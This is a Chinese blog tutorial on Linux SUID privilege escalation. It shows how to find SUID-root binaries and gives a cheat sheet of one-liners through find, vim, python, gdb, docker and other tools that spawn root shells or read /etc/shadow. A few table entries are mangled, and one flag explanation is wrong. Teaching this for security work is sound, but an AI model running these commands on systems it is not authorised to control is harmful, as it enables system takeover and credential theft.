0x01什么是SUID

suid即Set owner User ID up on execution,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux下很常见。

通俗的来讲,假设我们现在有一个可执行文件/bin/find,其属主为root。当我们通过非root用户登录时,如果find命令设置了SUID权限且属主为root,而恰好find命令能通过-exec选项执行系统命令,我们可在非root用户下运行find执行命令,在执行文件时,该进程的权限将为root权限。达到提权的效果。利用此特性,我们可以实现利用SUID权限的特殊进行提权

95385-ldnzrekzxr.png

0x02 可利用文件

2.1查找可利用文件

用find从/目录往下查找具有SUID权限位且文件属主为root的文件在并在控制台输出,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
    
参数:
    /表示从文件系统的顶部(根)开始,查找每个目录
    -perm表示搜索后面的权限
    -u=s表示查找 root 用户拥有的文件
    -type表示我们正在寻找的文件类型
    f 表示普通文件,而不是目录或特殊文件
    2表示到进程的第二个文件描述符,即 stderr(标准错误)
    >表示重定向
    /dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

2.2 find

find是个比较常用的命令,find用来在系统中查找文件,同时它也有执行命令的能力,如果配置为使用SUID权限运行,则可以通过find执行的命令,并且都将以root身份去运行。但是现在很多系统上find命令默认没有SUID权限,所以这里手动为find设置一下SUID

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置 

81374-bg8xxoyj0wi.png

然后切换到普通用户来测试这里随便查找或者新建一个文件来查找文件必须存在

find name -exec whoami \;

33790-x27lgxtq16c.png

2.3 vim

vim的主要用途是做编辑器,是,如果以SUID运行,可以读取系统上的所有文件。

vim /etc/shadow

进入vim命令行模式,感叹号后面加命令

:set shell=/bin/sh
:shell

2.4 date

读文件虽然会报错,但是能获取文件内容

date -f /etc/shadow

36704-wxdcbes2knf.png

2.5 strace

strace -o /dev/null  whoami

57973-37fvy6zs0sj.png

2.6 nice

nice whoami

2.7 ionice

ionice whoami

2.8 flock

flock -u / whoami

2.9 env

env whoami

2.10 time

time whoami

2.11 awk

awk 'BEGIN {system("whoami")}'

0x03常见SUID提权文件使用方法

命令利用方法
centeredcentered
xargsxargs -a /dev/null sh -p
watchwatch -x sh -c ‘reset; exec sh -p 1>&0 2>&0'
timeouttimeout 7d /bin/sh -p
timetime /bin/sh -p
tclsh1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr
tasksettaskset 1 /bin/sh -p
stdbufstdbuf -i0 /bin/sh -p
stracestrace -o /dev/null /bin/sh -p
sshssh -o ProxyCommand=';sh -p 0<&2 1>&2' x
setarchsetarch $(arch) /bin/sh -p
rsyncrsync -e ‘sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null
rpmrpm --eval ‘%{lua:os.execute("/bin/sh -p")}'
pythonpython -c ‘import os; os.execl("/bin/sh", "sh", "-p")'
php1、CMD="/bin/sh" 2、 php -r "pcntl_exec('/bin/sh', ['-p']);"
nicenice /bin/sh -p
nano1、nano //运行nano程序 2、^R //按下ctrl-r 3、^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 //输入下面的命令
more1、more /etc/profile 2、!/bin/sh -p
logsavelogsave /dev/null /bin/sh -i -p
lessless /etc/profile //读取文件,在底行输入!/bin/sh -p
kshksh -p
ip1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
ioniceionice /bin/sh -p
gitgit help status
gimpgimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl("/bin/sh", "sh", "-p")'
gdbgdb -nx -ex ‘python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
ftpftp //在底行输入"!/bin/sh -p"
flockflock -u / /bin/sh -p
findfind . -exec /bin/sh -p ; -quit
expectexpect -c ‘spawn /bin/sh -p;interact'
envenv /bin/sh -p
eded //在底行输入"!/bin/sh -p"
dockerdocker run -v /:/mnt --rm -it alpine chroot /mnt sh
dmesgdmesg -H//在底行输入"!/bin/sh -p"
cshcsh -b
bashbash -p
awkawk ‘BEGIN {system("/bin/bash -p")}'
perlperl exec "/bin/bash";

0x04参考

http://tttang.com/archive/1793/
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
https://blog.csdn.net/CoreNote/article/details/122093180

最后修改:2022 年 11 月 14 日
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/630.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
如果觉得我的文章对你有用,请随意赞赏